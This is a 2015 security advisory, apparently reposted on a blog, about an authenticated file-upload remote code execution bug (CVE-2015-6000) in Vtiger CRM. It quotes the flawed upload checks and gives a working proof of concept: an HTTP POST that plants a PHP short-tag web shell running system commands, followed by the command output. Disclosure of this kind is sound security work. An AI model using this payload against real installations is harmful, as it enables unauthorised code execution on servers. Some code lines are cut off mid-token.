Vtiger CRM Authenticated Remote Code Execution (CVE-2015-6000)
<http://b.fl7.de/2015/09/
1. Summary
2. Vulnerability Details
3. Exploitation / Proof of Concept
4. Timeline
5. See Also
########## 1. Summary ##########
Vtiger CRM <https://www.vtiger.com/open-
Vtiger CRM version 6.3 (“Open Source” branch; released on 2015-06-04)
and lower are vulnerable to Authenticated Remote Code Execution.
########## 2. Vulnerability Details ##########
Vtiger CRM allows for the upload of a "company logo" from within the
administrative interface. The corresponding functionality can be
accessed on the "CRM Settings" page (Settings -> CRM Settings ->
Templates -> Company Details -> "Edit" button;
(<.../index.php?parent=
Multiple flaws in the Settings_Vtiger_
allow attackers to upload files with arbitrary file names and (almost)
arbitrary contents, including, but not limited to, PHP code passing
commands to the underlying operating system.
First, the file type check is based solely on the MIME type
("Content-Type") sent by the client:
(Source file: vtigercrm/modules/Settings/
class Settings_Vtiger_
[...]
$logoDetails = $_FILES['logo'];
$fileType = explode('/', $logoDetails['type']);
$fileType = $fileType[1];
if (!$logoDetails['size'] || !in_array($fileType, Settings_Vtiger_
$saveLogo = false;
}
This is followed by an insufficient check for PHP code inside the
uploaded file:
(Source file: vtigercrm/modules/Settings/
// Check for php code injection
$imageContents = file_get_contents($_FILES["
if (preg_match('/(<\?php?(.*?))/
$saveLogo = false;
}
Not only can this check be circumvented by using PHP short tags instead
of “<?php “. It also provides no protection whatsoever against uploads
of code written in scripting languages other than PHP, which, depending
on the system configuration, may or may not be executable.
Vtiger CRM then saves the uploaded file's contents with the
client-specified file name in the publicly accessible "test/logo/"
directory:
(Source file: modules/Settings/Vtiger/
class Settings_Vtiger_
[...]
var $logoPath = 'test/logo/';
[...]
public function saveLogo() {
$uploadDir = vglobal('root_directory'). '/' .$this->logoPath;
$logoName = $uploadDir.$_FILES["logo"]["
move_uploaded_file($_FILES["
copy($logoName, $uploadDir.'application.ico');
}
Combining these flaws, an attacker can transfer arbitrary code to the
web server, as long as s/he provides a permitted MIME type (e.g.
"Content-Type: image/jpeg") and avoids the string “<?ph” within the
code. The code can then be run by accessing the location of the uploaded
file (“<Vtiger URL>/test/logo/<attacker-
########## 3. Exploitation / Proof of Concept ##########
Through a specially crafted HTTP-POST request, a PHP file is stored on
the server hosting the Vtiger CRM software:
POST /index.php HTTP/1.1
Host: [...]
Cookie: [...]
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------
Content-Length: 2040
-----------------------------
Content-Disposition: form-data; name="__vtrftk"
[...]
-----------------------------
Content-Disposition: form-data; name="logo"; filename="2.php"
Content-Type: image/jpeg
<? system('id; uname -a; /sbin/ifconfig -a'); system('cat ../../vtigerversion.php'); ?>
-----------------------------
Content-Disposition: form-data; name="address"
[...]
The resulting PHP file can then be accessed at <Vtiger
URL>/test/logo/2.php , which will execute the given commands and display
their output:
uid=3491(mussKV4JcX9c) gid=3491(mussKV4JcX9c) groups=3491(mussKV4JcX9c)
Linux [...] 3.2.0-77-virtual #114-Ubuntu SMP Tue Mar 10 17:38:02 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
eth0 Link encap:Ethernet HWaddr [...]
inet addr: [...]
########## 4. Timeline ##########
2015-08-28 Vulnerability reported to Vtiger.
2015-09-01 Vtiger acknowledges vulnerability.
2015-09-03 CVE-2015-6000 assigned by CERT/CC.
2015-09-28 Public disclosure.
########## 5. See Also ##########
CVE-2015-6000 at cve.mitre.org: <http://cve.mitre.org/cgi-bin/
CVE-2015-6000 at NVD: <http://web.nvd.nist.gov/view/
Source: <http://b.fl7.de/2015/09/
Komentarų nėra:
Rašyti komentarą